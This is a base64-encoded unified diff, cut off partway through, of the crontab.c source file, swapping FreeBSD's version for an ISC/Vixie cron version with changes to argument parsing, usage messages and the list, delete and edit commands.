Ci0gKiBGcm9tIElkOiBjcm9udGFiLmMsdiAyLjEzIDE5OTQvMDEvMTcgMDM6MjA6Mzcgdml4aWUg RXhwCisgKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiBBTkQgSVNDIERJU0NMQUlN UyBBTEwgV0FSUkFOVElFUworICogV0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZUV0FSRSBJTkNMVURJ TkcgQUxMIElNUExJRUQgV0FSUkFOVElFUyBPRgorICogTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRO RVNTLiAgSU4gTk8gRVZFTlQgU0hBTEwgSVNDIEJFIExJQUJMRSBGT1IKKyAqIEFOWSBTUEVDSUFM LCBESVJFQ1QsIElORElSRUNULCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5ZIERBTUFH RVMKKyAqIFdIQVRTT0VWRVIgUkVTVUxUSU5HIEZST00gTE9TUyBPRiBVU0UsIERBVEEgT1IgUFJP RklUUywgV0hFVEhFUiBJTiBBTgorICogQUNUSU9OIE9GIENPTlRSQUNULCBORUdMSUdFTkNFIE9S IE9USEVSIFRPUlRJT1VTIEFDVElPTiwgQVJJU0lORyBPVVQKKyAqIE9GIE9SIElOIENPTk5FQ1RJ T04gV0lUSCBUSEUgVVNFIE9SIFBFUkZPUk1BTkNFIE9GIFRISVMgU09GVFdBUkUuCiAgKi8KIAog I2lmICFkZWZpbmVkKGxpbnQpICYmICFkZWZpbmVkKExJTlQpCi1zdGF0aWMgY29uc3QgY2hhciBy Y3NpZFtdID0KLSAgIiRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2Nyb250 YWIvY3JvbnRhYi5jIDIzOTk5MSAyMDEyLTA5LTAxIDE0OjQ1OjE1WiBlZCAkIjsKK3N0YXRpYyBj aGFyIHJjc2lkW10gPSAiJElkOiBjcm9udGFiLmMsdiAxLjEyIDIwMDQvMDEvMjMgMTg6NTY6NDIg dml4aWUgRXhwICQiOwogI2VuZGlmCiAKIC8qIGNyb250YWIgLSBpbnN0YWxsIGFuZCBtYW5hZ2Ug cGVyLXVzZXIgY3JvbnRhYiBmaWxlcwpAQCAtMjksMzYgKzMxLDIwIEBACiAjZGVmaW5lCU1BSU5f UFJPR1JBTQogCiAjaW5jbHVkZSAiY3Jvbi5oIgotI2luY2x1ZGUgPGVycm5vLmg+Ci0jaW5jbHVk ZSA8ZmNudGwuaD4KLSNpbmNsdWRlIDxtZDUuaD4KLSNpbmNsdWRlIDxwYXRocy5oPgotI2luY2x1 ZGUgPHN5cy9maWxlLmg+Ci0jaW5jbHVkZSA8c3lzL3N0YXQuaD4KLSNpZmRlZiBVU0VfVVRJTUVT Ci0jIGluY2x1ZGUgPHN5cy90aW1lLmg+Ci0jZWxzZQotIyBpbmNsdWRlIDx0aW1lLmg+Ci0jIGlu Y2x1ZGUgPHV0aW1lLmg+Ci0jZW5kaWYKLSNpZiBkZWZpbmVkKFBPU0lYKQotIyBpbmNsdWRlIDxs b2NhbGUuaD4KLSNlbmRpZgotCi0jZGVmaW5lIE1ENV9TSVpFIDMzCiAjZGVmaW5lIE5IRUFERVJf TElORVMgMwogCi0KIGVudW0gb3B0X3QJeyBvcHRfdW5rbm93biwgb3B0X2xpc3QsIG9wdF9kZWxl dGUsIG9wdF9lZGl0LCBvcHRfcmVwbGFjZSB9OwogCiAjaWYgREVCVUdHSU5HCiBzdGF0aWMgY2hh cgkqT3B0aW9uc1tdID0geyAiPz8/IiwgImxpc3QiLCAiZGVsZXRlIiwgImVkaXQiLCAicmVwbGFj ZSIgfTsKK3N0YXRpYyBjaGFyCSpnZXRvcHRhcmdzID0gInU6bGVyeDoiOworI2Vsc2UKK3N0YXRp YyBjaGFyCSpnZXRvcHRhcmdzID0gInU6bGVyIjsKICNlbmRpZgogCi0KIHN0YXRpYwlQSURfVAkJ UGlkOwogc3RhdGljCWNoYXIJCVVzZXJbTUFYX1VOQU1FXSwgUmVhbFVzZXJbTUFYX1VOQU1FXTsK LXN0YXRpYwljaGFyCQlGaWxlbmFtZVtNQVhfRk5BTUVdOworc3RhdGljCWNoYXIJCUZpbGVuYW1l W01BWF9GTkFNRV0sIFRlbXBGaWxlbmFtZVtNQVhfRk5BTUVdOwogc3RhdGljCUZJTEUJCSpOZXdD cm9udGFiOwogc3RhdGljCWludAkJQ2hlY2tFcnJvckNvdW50Owogc3RhdGljCWVudW0gb3B0X3QJ T3B0aW9uOwpAQCAtNjYsOTUgKzUyLDEwMyBAQAogc3RhdGljCXZvaWQJCWxpc3RfY21kKHZvaWQp LAogCQkJZGVsZXRlX2NtZCh2b2lkKSwKIAkJCWVkaXRfY21kKHZvaWQpLAotCQkJcG9rZV9kYWVt b24odm9pZCksCi0JCQljaGVja19lcnJvcihjaGFyICopLAotCQkJcGFyc2VfYXJncyhpbnQgYywg Y2hhciAqdltdKTsKKwkJCXBva2VfZGFlbW9uKHVuc2lnbmVkIGNoYXIpLAorCQkJY2hlY2tfZXJy b3IoY29uc3QgY2hhciAqKSwKKwkJCXBhcnNlX2FyZ3MoaW50IGMsIGNoYXIgKnZbXSksCisJCQlk aWUoaW50KTsKIHN0YXRpYwlpbnQJCXJlcGxhY2VfY21kKHZvaWQpOwogCi0KIHN0YXRpYyB2b2lk Ci11c2FnZShjaGFyICptc2cpCi17Ci0JZnByaW50ZihzdGRlcnIsICJjcm9udGFiOiB1c2FnZSBl cnJvcjogJXNcbiIsIG1zZyk7Ci0JZnByaW50ZihzdGRlcnIsICIlc1xuJXNcbiIsCi0JCSJ1c2Fn ZTogY3JvbnRhYiBbLXUgdXNlcl0gZmlsZSIsCi0JCSIgICAgICAgY3JvbnRhYiBbLXUgdXNlcl0g eyAtZSB8IC1sIHwgLXIgfSIpOwordXNhZ2UoY29uc3QgY2hhciAqbXNnKSB7CisJZnByaW50Zihz dGRlcnIsICIlczogdXNhZ2UgZXJyb3I6ICVzXG4iLCBQcm9ncmFtTmFtZSwgbXNnKTsKKwlmcHJp bnRmKHN0ZGVyciwgInVzYWdlOlx0JXMgWy11IHVzZXJdIGZpbGVcbiIsIFByb2dyYW1OYW1lKTsK KwlmcHJpbnRmKHN0ZGVyciwgIlx0JXMgWy11IHVzZXJdIFsgLWUgfCAtbCB8IC1yIF1cbiIsIFBy b2dyYW1OYW1lKTsKKwlmcHJpbnRmKHN0ZGVyciwgIlx0XHQoZGVmYXVsdCBvcGVyYXRpb24gaXMg cmVwbGFjZSwgcGVyIDEwMDMuMilcbiIpOworCWZwcmludGYoc3RkZXJyLCAiXHQtZVx0KGVkaXQg dXNlcidzIGNyb250YWIpXG4iKTsKKwlmcHJpbnRmKHN0ZGVyciwgIlx0LWxcdChsaXN0IHVzZXIn cyBjcm9udGFiKVxuIik7CisJZnByaW50ZihzdGRlcnIsICJcdC1yXHQoZGVsZXRlIHVzZXIncyBj cm9udGFiKVxuIik7CiAJZXhpdChFUlJPUl9FWElUKTsKIH0KIAotCiBpbnQKLW1haW4oaW50IGFy Z2MsIGNoYXIgKmFyZ3ZbXSkKLXsKLQlpbnQJZXhpdHN0YXR1czsKK21haW4oaW50IGFyZ2MsIGNo YXIgKmFyZ3ZbXSkgeworCWludCBleGl0c3RhdHVzOwogCiAJUGlkID0gZ2V0cGlkKCk7CiAJUHJv Z3JhbU5hbWUgPSBhcmd2WzBdOwogCi0jaWYgZGVmaW5lZChQT1NJWCkKIAlzZXRsb2NhbGUoTENf QUxMLCAiIik7Ci0jZW5kaWYKIAogI2lmIGRlZmluZWQoQlNEKQogCXNldGxpbmVidWYoc3RkZXJy KTsKICNlbmRpZgogCXBhcnNlX2FyZ3MoYXJnYywgYXJndik7CQkvKiBzZXRzIG1hbnkgZ2xvYmFs cywgb3BlbnMgYSBmaWxlICovCi0Jc2V0X2Nyb25fdWlkKCk7CiAJc2V0X2Nyb25fY3dkKCk7Ci0J aWYgKCFhbGxvd2VkKFVzZXIpKSB7Ci0JCXdhcm54KCJ5b3UgKCVzKSBhcmUgbm90IGFsbG93ZWQg dG8gdXNlIHRoaXMgcHJvZ3JhbSIsIFVzZXIpOworCWlmICghYWxsb3dlZChSZWFsVXNlcikpIHsK KwkJZnByaW50ZihzdGRlcnIsCisJCQkiWW91ICglcykgYXJlIG5vdCBhbGxvd2VkIHRvIHVzZSB0 aGlzIHByb2dyYW0gKCVzKVxuIiwKKwkJCVVzZXIsIFByb2dyYW1OYW1lKTsKKwkJZnByaW50Zihz dGRlcnIsICJTZWUgY3JvbnRhYigxKSBmb3IgbW9yZSBpbmZvcm1hdGlvblxuIik7CiAJCWxvZ19p dChSZWFsVXNlciwgUGlkLCAiQVVUSCIsICJjcm9udGFiIGNvbW1hbmQgbm90IGFsbG93ZWQiKTsK IAkJZXhpdChFUlJPUl9FWElUKTsKIAl9CiAJZXhpdHN0YXR1cyA9IE9LX0VYSVQ7CiAJc3dpdGNo IChPcHRpb24pIHsKLQljYXNlIG9wdF9saXN0OgkJbGlzdF9jbWQoKTsKLQkJCQlicmVhazsKLQlj YXNlIG9wdF9kZWxldGU6CWRlbGV0ZV9jbWQoKTsKLQkJCQlicmVhazsKLQljYXNlIG9wdF9lZGl0 OgkJZWRpdF9jbWQoKTsKLQkJCQlicmVhazsKLQljYXNlIG9wdF9yZXBsYWNlOglpZiAocmVwbGFj ZV9jbWQoKSA8IDApCi0JCQkJCWV4aXRzdGF0dXMgPSBFUlJPUl9FWElUOwotCQkJCWJyZWFrOwog CWNhc2Ugb3B0X3Vua25vd246Ci0JCQkJYnJlYWs7CisJCWV4aXRzdGF0dXMgPSBFUlJPUl9FWElU OworCQlicmVhazsKKwljYXNlIG9wdF9saXN0OgorCQlsaXN0X2NtZCgpOworCQlicmVhazsKKwlj YXNlIG9wdF9kZWxldGU6CisJCWRlbGV0ZV9jbWQoKTsKKwkJYnJlYWs7CisJY2FzZSBvcHRfZWRp dDoKKwkJZWRpdF9jbWQoKTsKKwkJYnJlYWs7CisJY2FzZSBvcHRfcmVwbGFjZToKKwkJaWYgKHJl cGxhY2VfY21kKCkgPCAwKQorCQkJZXhpdHN0YXR1cyA9IEVSUk9SX0VYSVQ7CisJCWJyZWFrOwor CWRlZmF1bHQ6CisJCWFib3J0KCk7CiAJfQogCWV4aXQoZXhpdHN0YXR1cyk7CiAJLypOT1RSRUFD SEVEKi8KIH0KIAotCiBzdGF0aWMgdm9pZAotcGFyc2VfYXJncyhhcmdjLCBhcmd2KQotCWludAlh cmdjOwotCWNoYXIJKmFyZ3ZbXTsKLXsKLQlpbnQJCWFyZ2NoOwotCWNoYXIJCXJlc29sdmVkX3Bh dGhbUEFUSF9NQVhdOwotCi0JaWYgKCEocHcgPSBnZXRwd3VpZChnZXR1aWQoKSkpKQotCQllcnJ4 KEVSUk9SX0VYSVQsICJ5b3VyIFVJRCBpc24ndCBpbiB0aGUgcGFzc3dkIGZpbGUsIGJhaWxpbmcg b3V0Iik7Ci0JYnplcm8ocHctPnB3X3Bhc3N3ZCwgc3RybGVuKHB3LT5wd19wYXNzd2QpKTsKLQko dm9pZCkgc3RybmNweShVc2VyLCBwdy0+cHdfbmFtZSwgKHNpemVvZiBVc2VyKS0xKTsKLQlVc2Vy WyhzaXplb2YgVXNlciktMV0gPSAnXDAnOwotCXN0cmNweShSZWFsVXNlciwgVXNlcik7CitwYXJz ZV9hcmdzKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsKKwlpbnQgYXJnY2g7CisKKwlpZiAoIShw dyA9IGdldHB3dWlkKGdldHVpZCgpKSkpIAorCQllcnJ4KEVSUk9SX0VYSVQsICIlczogeW91ciBV SUQgaXNuJ3QgaW4gdGhlIHBhc3N3b3JkIGZpbGUuIiwgCisJCQkJUHJvZ3JhbU5hbWUpOworCWlm IChzdHJsZW4ocHctPnB3X25hbWUpID49IHNpemVvZiBVc2VyKSAKKwkJZXJyeChFUlJPUl9FWElU LCAidXNlcm5hbWUgdG9vIGxvbmdcbiIpOworCisJc3RybGNweShVc2VyLCBwdy0+cHdfbmFtZSwg c2l6ZW9mKFVzZXIpKTsKKwlzdHJsY3B5KFJlYWxVc2VyLCBVc2VyLCBzaXplb2YoUmVhbFVzZXIp KTsKIAlGaWxlbmFtZVswXSA9ICdcMCc7CiAJT3B0aW9uID0gb3B0X3Vua25vd247Ci0Jd2hpbGUg KChhcmdjaCA9IGdldG9wdChhcmdjLCBhcmd2LCAidTpsZXJ4OiIpKSAhPSAtMSkgeworCXdoaWxl ICgtMSAhPSAoYXJnY2ggPSBnZXRvcHQoYXJnYywgYXJndiwgZ2V0b3B0YXJncykpKSB7CiAJCXN3 aXRjaCAoYXJnY2gpIHsKKyNpZiBERUJVR0dJTkcKIAkJY2FzZSAneCc6CiAJCQlpZiAoIXNldF9k ZWJ1Z19mbGFncyhvcHRhcmcpKQogCQkJCXVzYWdlKCJiYWQgZGVidWcgb3B0aW9uIik7CiAJCQli cmVhazsKKyNlbmRpZgogCQljYXNlICd1JzoKLQkJCWlmIChnZXR1aWQoKSAhPSBST09UX1VJRCkK KwkJCWlmIChNWV9VSUQocHcpICE9IFJPT1RfVUlEKSAKIAkJCQllcnJ4KEVSUk9SX0VYSVQsICJt dXN0IGJlIHByaXZpbGVnZWQgdG8gdXNlIC11Iik7Ci0JCQlpZiAoIShwdyA9IGdldHB3bmFtKG9w dGFyZykpKQotCQkJCWVycngoRVJST1JfRVhJVCwgInVzZXIgYCVzJyB1bmtub3duIiwgb3B0YXJn KTsKLQkJCWJ6ZXJvKHB3LT5wd19wYXNzd2QsIHN0cmxlbihwdy0+cHdfcGFzc3dkKSk7Ci0JCQko dm9pZCkgc3RybmNweShVc2VyLCBwdy0+cHdfbmFtZSwgKHNpemVvZiBVc2VyKS0xKTsKLQkJCVVz ZXJbKHNpemVvZiBVc2VyKS0xXSA9ICdcMCc7CisKKwkJCWlmICghKHB3ID0gZ2V0cHduYW0ob3B0 YXJnKSkpIAorCQkJCWVycngoRVJST1JfRVhJVCwgIiVzOiB1c2VyICVzIHVua25vd24iLCBQcm9n cmFtTmFtZSwgb3B0YXJnKTsKKworCQkJaWYgKHN0cmxlbihvcHRhcmcpID49IHNpemVvZiBVc2Vy KQorCQkJCXVzYWdlKCJ1c2VybmFtZSB0b28gbG9uZyIpOworCQkJKHZvaWQpIHN0cmxjcHkoVXNl ciwgb3B0YXJnLCBzaXplb2YoVXNlcikpOwogCQkJYnJlYWs7CiAJCWNhc2UgJ2wnOgogCQkJaWYg KE9wdGlvbiAhPSBvcHRfdW5rbm93bikKQEAgLTE3OSwyMTAgKzE3MywyMDYgQEAKIAllbmRwd2Vu dCgpOwogCiAJaWYgKE9wdGlvbiAhPSBvcHRfdW5rbm93bikgewotCQlpZiAoYXJndltvcHRpbmRd ICE9IE5VTEwpIHsKKwkJaWYgKGFyZ3Zbb3B0aW5kXSAhPSBOVUxMKQogCQkJdXNhZ2UoIm5vIGFy Z3VtZW50cyBwZXJtaXR0ZWQgYWZ0ZXIgdGhpcyBvcHRpb24iKTsKLQkJfQogCX0gZWxzZSB7CiAJ CWlmIChhcmd2W29wdGluZF0gIT0gTlVMTCkgewogCQkJT3B0aW9uID0gb3B0X3JlcGxhY2U7Ci0J CQkodm9pZCkgc3RybmNweSAoRmlsZW5hbWUsIGFyZ3Zbb3B0aW5kXSwgKHNpemVvZiBGaWxlbmFt ZSktMSk7Ci0JCQlGaWxlbmFtZVsoc2l6ZW9mIEZpbGVuYW1lKS0xXSA9ICdcMCc7Ci0KLQkJfSBl bHNlIHsKKwkJCWlmIChzdHJsZW4oYXJndltvcHRpbmRdKSA+PSBzaXplb2YgRmlsZW5hbWUpCisJ CQkJdXNhZ2UoImZpbGVuYW1lIHRvbyBsb25nIik7CisJCQkodm9pZCkgc3RybGNweSAoRmlsZW5h bWUsIGFyZ3Zbb3B0aW5kXSwgc2l6ZW9mKEZpbGVuYW1lKSk7CisJCX0gZWxzZQogCQkJdXNhZ2Uo ImZpbGUgbmFtZSBtdXN0IGJlIHNwZWNpZmllZCBmb3IgcmVwbGFjZSIpOwotCQl9CiAJfQogCiAJ aWYgKE9wdGlvbiA9PSBvcHRfcmVwbGFjZSkgewotCQkvKiByZWxpbnF1aXNoIHRoZSBzZXR1aWQg c3RhdHVzIG9mIHRoZSBiaW5hcnkgZHVyaW5nCi0JCSAqIHRoZSBvcGVuLCBsZXN0IG5vbnJvb3Qg dXNlcnMgcmVhZCBmaWxlcyB0aGV5IHNob3VsZAotCQkgKiBub3QgYmUgYWJsZSB0byByZWFkLiAg d2UgY2FuJ3QgdXNlIGFjY2VzcygpIGhlcmUKLQkJICogc2luY2UgdGhlcmUncyBhIHJhY2UgY29u ZGl0aW9uLiAgdGhhbmtzIGdvIG91dCB0bwotCQkgKiBBcm50IEd1bGJyYW5kc2VuIDxhZ3VsYnJh QHB2di51bml0Lm5vPiBmb3Igc3BvdHRpbmcKLQkJICogdGhlIHJhY2UuCi0JCSAqLwotCi0JCWlm IChzd2FwX3VpZHMoKSA8IE9LKQotCQkJZXJyKEVSUk9SX0VYSVQsICJzd2FwcGluZyB1aWRzIik7 Ci0KIAkJLyogd2UgaGF2ZSB0byBvcGVuIHRoZSBmaWxlIGhlcmUgYmVjYXVzZSB3ZSdyZSBnb2lu ZyB0bwogCQkgKiBjaGRpcigyKSBpbnRvIC92YXIvY3JvbiBiZWZvcmUgd2UgZ2V0IGFyb3VuZCB0 bwogCQkgKiByZWFkaW5nIHRoZSBmaWxlLgogCQkgKi8KLQkJaWYgKCFzdHJjbXAoRmlsZW5hbWUs ICItIikpIHsKKwkJaWYgKCFzdHJjbXAoRmlsZW5hbWUsICItIikpCiAJCQlOZXdDcm9udGFiID0g c3RkaW47Ci0JCX0gZWxzZSBpZiAocmVhbHBhdGgoRmlsZW5hbWUsIHJlc29sdmVkX3BhdGgpICE9 IE5VTEwgJiYKLQkJICAgICFzdHJjbXAocmVzb2x2ZWRfcGF0aCwgU1lTQ1JPTlRBQikpIHsKLQkJ CWVycihFUlJPUl9FWElULCBTWVNDUk9OVEFCICIgbXVzdCBiZSBlZGl0ZWQgbWFudWFsbHkiKTsK LQkJfSBlbHNlIHsKLQkJCWlmICghKE5ld0Nyb250YWIgPSBmb3BlbihGaWxlbmFtZSwgInIiKSkp Ci0JCQkJZXJyKEVSUk9SX0VYSVQsICIlcyIsIEZpbGVuYW1lKTsKLQkJfQotCQlpZiAoc3dhcF91 aWRzX2JhY2soKSA8IE9LKQotCQkJZXJyKEVSUk9SX0VYSVQsICJzd2FwcGluZyB1aWRzIGJhY2si KTsKLQl9CisJCWVsc2UgeworCQkJLyogcmVsaW5xdWlzaCB0aGUgc2V0dWlkIHN0YXR1cyBvZiB0 aGUgYmluYXJ5IGR1cmluZworCQkJICogdGhlIG9wZW4sIGxlc3Qgbm9ucm9vdCB1c2VycyByZWFk IGZpbGVzIHRoZXkgc2hvdWxkCisJCQkgKiBub3QgYmUgYWJsZSB0byByZWFkLiAgd2UgY2FuJ3Qg dXNlIGFjY2VzcygpIGhlcmUKKwkJCSAqIHNpbmNlIHRoZXJlJ3MgYSByYWNlIGNvbmRpdGlvbi4g IHRoYW5rcyBnbyBvdXQgdG8KKwkJCSAqIEFybnQgR3VsYnJhbmRzZW4gPGFndWxicmFAcHZ2LnVu aXQubm8+IGZvciBzcG90dGluZworCQkJICogdGhlIHJhY2UuCisJCQkgKi8KIAotCURlYnVnKERN SVNDLCAoInVzZXI9JXMsIGZpbGU9JXMsIG9wdGlvbj0lc1xuIiwKLQkJICAgICAgVXNlciwgRmls ZW5hbWUsIE9wdGlvbnNbKGludClPcHRpb25dKSkKLX0KKwkJCWlmIChzd2FwX3VpZHMoKSA8IE9L KSAKKwkJCQllcnJ4KEVSUk9SX0VYSVQsICJzd2FwcGluZyB1aWRzIik7CiAKLXN0YXRpYyB2b2lk Ci1jb3B5X2ZpbGUoRklMRSAqaW4sIEZJTEUgKm91dCkgewotCWludAl4LCBjaDsKKwkJCWlmICgh KE5ld0Nyb250YWIgPSBmb3BlbihGaWxlbmFtZSwgInIiKSkpIAorCQkJCWVycngoRVJST1JfRVhJ VCwgIiVzIiwgRmlsZW5hbWUpOwogCi0JU2V0X0xpbmVOdW0oMSkKLQkvKiBpZ25vcmUgdGhlIHRv cCBmZXcgY29tbWVudHMgc2luY2Ugd2UgcHJvYmFibHkgcHV0IHRoZW0gdGhlcmUuCi0JICovCi0J Zm9yICh4ID0gMDsgIHggPCBOSEVBREVSX0xJTkVTOyAgeCsrKSB7Ci0JCWNoID0gZ2V0X2NoYXIo aW4pOwotCQlpZiAoRU9GID09IGNoKQotCQkJYnJlYWs7Ci0JCWlmICgnIycgIT0gY2gpIHsKLQkJ CXB1dGMoY2gsIG91dCk7Ci0JCQlicmVhazsKKwkJCWlmIChzd2FwX3VpZHNfYmFjaygpIDwgT0sp IAorCQkJCWVycngoRVJST1JfRVhJVCwgInN3YXBwaW5nIHVpZHMgYmFjayIpOwogCQl9Ci0JCXdo aWxlIChFT0YgIT0gKGNoID0gZ2V0X2NoYXIoaW4pKSkKLQkJCWlmIChjaCA9PSAnXG4nKQotCQkJ CWJyZWFrOwotCQlpZiAoRU9GID09IGNoKQotCQkJYnJlYWs7CiAJfQogCi0JLyogY29weSB0aGUg cmVzdCBvZiB0aGUgY3JvbnRhYiAoaWYgYW55KSB0byB0aGUgb3V0cHV0IGZpbGUuCi0JICovCi0J aWYgKEVPRiAhPSBjaCkKLQkJd2hpbGUgKEVPRiAhPSAoY2ggPSBnZXRfY2hhcihpbikpKQotCQkJ cHV0YyhjaCwgb3V0KTsKKwlEZWJ1ZyhETUlTQywgKCJ1c2VyPSVzLCBmaWxlPSVzLCBvcHRpb249 JXNcbiIsCisJCSAgICAgIFVzZXIsIEZpbGVuYW1lLCBPcHRpb25zWyhpbnQpT3B0aW9uXSkpCiB9 CiAKIHN0YXRpYyB2b2lkCi1saXN0X2NtZCgpIHsKLQljaGFyCW5bTUFYX0ZOQU1FXTsKLQlGSUxF CSpmOworbGlzdF9jbWQodm9pZCkgeworCWNoYXIgbltNQVhfRk5BTUVdOworCUZJTEUgKmY7CisJ aW50IGNoOwogCiAJbG9nX2l0KFJlYWxVc2VyLCBQaWQsICJMSVNUIiwgVXNlcik7Ci0JKHZvaWQp IHNucHJpbnRmKG4sIHNpemVvZihuKSwgQ1JPTl9UQUIoVXNlcikpOworCWlmICghZ2x1ZV9zdHJp bmdzKG4sIHNpemVvZiBuLCBTUE9PTF9ESVIsIFVzZXIsICcvJykpIAorCQllcnJ4KEVSUk9SX0VY SVQsICJwYXRoIHRvbyBsb25nIik7CisKIAlpZiAoIShmID0gZm9wZW4obiwgInIiKSkpIHsKIAkJ aWYgKGVycm5vID09IEVOT0VOVCkKLQkJCWVycngoRVJST1JfRVhJVCwgIm5vIGNyb250YWIgZm9y ICVzIiwgVXNlcik7CisJCQlmcHJpbnRmKHN0ZGVyciwgIm5vIGNyb250YWIgZm9yICVzXG4iLCBV c2VyKTsKIAkJZWxzZQotCQkJZXJyKEVSUk9SX0VYSVQsICIlcyIsIG4pOworCQkJcGVycm9yKG4p OworCQlleGl0KEVSUk9SX0VYSVQpOwogCX0KIAogCS8qIGZpbGUgaXMgb3Blbi4gY29weSB0byBz dGRvdXQsIGNsb3NlLgogCSAqLwotCWNvcHlfZmlsZShmLCBzdGRvdXQpOworCVNldF9MaW5lTnVt KDEpCisJd2hpbGUgKEVPRiAhPSAoY2ggPSBnZXRfY2hhcihmKSkpCisJCXB1dGNoYXIoY2gpOwog CWZjbG9zZShmKTsKIH0KIAotCiBzdGF0aWMgdm9pZAotZGVsZXRlX2NtZCgpIHsKLQljaGFyCW5b TUFYX0ZOQU1FXTsKLQlpbnQgY2gsIGZpcnN0OwotCi0JaWYgKGlzYXR0eShTVERJTl9GSUxFTk8p KSB7Ci0JCSh2b2lkKWZwcmludGYoc3RkZXJyLCAicmVtb3ZlIGNyb250YWIgZm9yICVzPyAiLCBV c2VyKTsKLQkJZmlyc3QgPSBjaCA9IGdldGNoYXIoKTsKLQkJd2hpbGUgKGNoICE9ICdcbicgJiYg Y2ggIT0gRU9GKQotCQkJY2ggPSBnZXRjaGFyKCk7Ci0JCWlmIChmaXJzdCAhPSAneScgJiYgZmly c3QgIT0gJ1knKQotCQkJcmV0dXJuOwotCX0KK2RlbGV0ZV9jbWQodm9pZCkgeworCWNoYXIgbltN QVhfRk5BTUVdOwogCiAJbG9nX2l0KFJlYWxVc2VyLCBQaWQsICJERUxFVEUiLCBVc2VyKTsKLQko dm9pZCkgc25wcmludGYobiwgc2l6ZW9mKG4pLCBDUk9OX1RBQihVc2VyKSk7Ci0JaWYgKHVubGlu ayhuKSkgeworCWlmICghZ2x1ZV9zdHJpbmdzKG4sIHNpemVvZiBuLCBTUE9PTF9ESVIsIFVzZXIs ICcvJykpIAorCQllcnJ4KEVSUk9SX0VYSVQsICJwYXRoIHRvIGxvbmciKTsKKworCWlmICh1bmxp bmsobikgIT0gMCkgewogCQlpZiAoZXJybm8gPT0gRU5PRU5UKQotCQkJZXJyeChFUlJPUl9FWElU LCAibm8gY3JvbnRhYiBmb3IgJXMiLCBVc2VyKTsKKwkJCWZwcmludGYoc3RkZXJyLCAibm8gY3Jv bnRhYiBmb3IgJXNcbiIsIFVzZXIpOwogCQllbHNlCi0JCQllcnIoRVJST1JfRVhJVCwgIiVzIiwg bik7CisJCQlwZXJyb3Iobik7CisJCWV4aXQoRVJST1JfRVhJVCk7CiAJfQotCXBva2VfZGFlbW9u KCk7CisJcG9rZV9kYWVtb24oUkVMT0FEX0NST04pOwogfQogCi0KIHN0YXRpYyB2b2lkCi1jaGVj a19lcnJvcihtc2cpCi0JY2hhcgkqbXNnOwoteworY2hlY2tfZXJyb3IoY29uc3QgY2hhciAqbXNn KSB7CiAJQ2hlY2tFcnJvckNvdW50Kys7CiAJZnByaW50ZihzdGRlcnIsICJcIiVzXCI6JWQ6ICVz XG4iLCBGaWxlbmFtZSwgTGluZU51bWJlci0xLCBtc2cpOwogfQogCi0KIHN0YXRpYyB2b2lkCi1l ZGl0X2NtZCgpIHsKLQljaGFyCQluW01BWF9GTkFNRV0sIHFbTUFYX1RFTVBTVFJdLCAqZWRpdG9y OwotCUZJTEUJCSpmOwotCWludAkJdDsKLQlzdHJ1Y3Qgc3RhdAlzdGF0YnVmLCBmc2J1ZjsKLQlX QUlUX1QJCXdhaXRlcjsKLQlQSURfVAkJcGlkLCB4cGlkOwotCW1vZGVfdAkJdW07Ci0JaW50CQlz eW50YXhfZXJyb3IgPSAwOwotCWNoYXIJCW9yaWdfbWQ1W01ENV9TSVpFXTsKLQljaGFyCQluZXdf bWQ1W01ENV9TSVpFXTsKK2VkaXRfY21kKHZvaWQpIHsKKwljaGFyIG5bTUFYX0ZOQU1FXSwgcVtN QVhfVEVNUFNUUl0sICplZGl0b3I7CisJRklMRSAqZjsKKwlpbnQgY2gsIHQsIHg7CisJc3RydWN0 IHN0YXQgc3RhdGJ1ZiwgZnNidWY7CisJc3RydWN0IHV0aW1idWYgdXRpbWVidWY7CisJV0FJVF9U IHdhaXRlcjsKKwlQSURfVCBwaWQsIHhwaWQ7CiAKIAlsb2dfaXQoUmVhbFVzZXIsIFBpZCwgIkJF R0lOIEVESVQiLCBVc2VyKTsKLQkodm9pZCkgc25wcmludGYobiwgc2l6ZW9mKG4pLCBDUk9OX1RB QihVc2VyKSk7CisJaWYgKCFnbHVlX3N0cmluZ3Mobiwgc2l6ZW9mIG4sIFNQT09MX0RJUiwgVXNl ciwgJy8nKSkgCisJCWVycngoRVJST1JfRVhJVCwgInBhdGggdG9vIGxvbmciKTsKKwogCWlmICgh KGYgPSBmb3BlbihuLCAiciIpKSkgewotCQlpZiAoZXJybm8gIT0gRU5PRU5UKQotCQkJZXJyKEVS Uk9SX0VYSVQsICIlcyIsIG4pOwotCQl3YXJueCgibm8gY3JvbnRhYiBmb3IgJXMgLSB1c2luZyBh biBlbXB0eSBvbmUiLCBVc2VyKTsKLQkJaWYgKCEoZiA9IGZvcGVuKF9QQVRIX0RFVk5VTEwsICJy IikpKQotCQkJZXJyKEVSUk9SX0VYSVQsIF9QQVRIX0RFVk5VTEwpOworCQlpZiAoZXJybm8gIT0g RU5PRU5UKSB7CisJCQlwZXJyb3Iobik7CisJCQlleGl0KEVSUk9SX0VYSVQpOworCQl9CisJCWZw cmludGYoc3RkZXJyLCAibm8gY3JvbnRhYiBmb3IgJXMgLSB1c2luZyBhbiBlbXB0eSBvbmVcbiIs CisJCQlVc2VyKTsKKwkJaWYgKCEoZiA9IGZvcGVuKF9QQVRIX0RFVk5VTEwsICJyIikpKSB7CisJ CQlwZXJyb3IoX1BBVEhfREVWTlVMTCk7CisJCQlleGl0KEVSUk9SX0VYSVQpOworCQl9CiAJfQog Ci0JdW0gPSB1bWFzaygwNzcpOwotCSh2b2lkKSBzbnByaW50ZihGaWxlbmFtZSwgc2l6ZW9mKEZp bGVuYW1lKSwgIi90bXAvY3JvbnRhYi5YWFhYWFhYWFhYIik7Ci0JaWYgKCh0ID0gbWtzdGVtcChG aWxlbmFtZSkpID09IC0xKSB7Ci0JCXdhcm4oIiVzIiwgRmlsZW5hbWUpOwotCQkodm9pZCkgdW1h c2sodW0pOworCWlmIChmc3RhdChmaWxlbm8oZiksICZzdGF0YnVmKSA8IDApIHsKKwkJcGVycm9y KCJmc3RhdCIpOworCQlnb3RvIGZhdGFsOworCX0KKwl1dGltZWJ1Zi5hY3RpbWUgPSBzdGF0YnVm LnN0X2F0aW1lOworCXV0aW1lYnVmLm1vZHRpbWUgPSBzdGF0YnVmLnN0X210aW1lOworCisJLyog 